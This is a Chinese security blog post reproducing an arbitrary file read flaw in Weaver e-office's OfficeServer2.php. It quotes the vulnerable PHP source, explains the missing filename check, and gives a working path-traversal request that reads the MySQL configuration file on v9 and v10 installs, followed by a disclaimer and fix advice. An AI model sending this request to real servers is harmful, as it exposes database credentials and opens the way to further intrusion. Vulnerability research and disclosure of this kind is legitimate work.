泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

admin 2023年9月11日11:22:44评论82 views字数 1801阅读6分0秒阅读模式

导读

 

      主要分享学习日常中的web渗透,内网渗透、漏洞复现、工具开发相关等。希望以技术共享、交流等不断赋能自己,为网络安全发展贡献自己的微薄之力!    

泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

0x00免责声明
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

0x01漏洞描述


     泛微e-office OfficeServer2.php 存在任意文件读取漏洞隐患,攻击者可通过此漏洞获取敏感信息,为下一步攻击做准备。


泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

0x02漏洞复现

1、打开iWeboffice/OfficeServer2.php,代码如下:

//取得操作命令信息$mOption=$OPTION;                                                 //取得操作命令信息switch ($mOption){  case "LOADFILE":    $mFileName = $_REQUEST["FILENAME"];    $mRecordID = $_REQUEST['RECORDID'];    $mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;    $mFullPath = iconv("utf-8","gbk",$mFullPath);    $result    = file_exists($mFullPath);
if($result == false) { $MsgError=$_lang["file_file_not_exist"].$mFullPath; //设置错误信息 } else { $fd = fopen($mFullPath, "rb"); $mFileSize = filesize($mFullPath); $mFileBody = fread($fd, filesize($mFullPath)); fclose( $fd ); $MsgObj=$MsgObj."STATUS=".base64_encode($_lang["file_open_success"]."!")."rn"; //设置状态信息
} break; case "SAVEFILE": //下面的代码为保存文件在服务


$mFileName = $_REQUEST["FILENAME"]; $mRecordID = $_REQUEST['RECORDID']; $mFullPath = $mFilePath."/".$mRecordID."/".$mFileName; if (is_uploaded_file($_FILES['MsgFileBody']['tmp_name'])) { //保存文档内容 if (move_uploaded_file($_FILES['MsgFileBody']['tmp_name'], iconv("utf-8","gbk",$mFullPath))) { //把文档保存到$mFullPath目录下面 $mFileSize = $_FILES['MsgFileBody']['size']; //取得文档大小 $result = true; } else { $MsgError=$_lang["file_save_fail"]; //设置错误信息 $result=false; } } else { $MsgError=$_lang["file_upload_fail"]; //设置错误信息 $result=false; } if($result) { $MsgObj=$MsgObj."STATUS=".base64_encode($_lang["file_save_success"]."!")."rn"; //设置状态信息 }    break;

2、审计过程中看到LOADFILE。通过$mFileName = $_REQUEST["FILENAME"];获取文件名字。而下面的流程没有进行过滤就造成了任意文件读取。

泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

3、构造POC读取配置文件(v9,v10)

iweboffice/officeserver2.php?OPTION=LOADFILE&FILENAME=../../bin/mysql_config.ini

泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

0x03修复建议


1、对用户输入进行严格的过滤和校验,避免出现任意文件读取漏洞2、升级到安全版本


泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

0x04往期内容


飞企互联企业运营管理平台存在任意文件读取

原文始发于微信公众号(五六七安全团队):泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月11日11:22:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现https://cn-sec.com/archives/2022484.html

发表评论

匿名网友 填写信息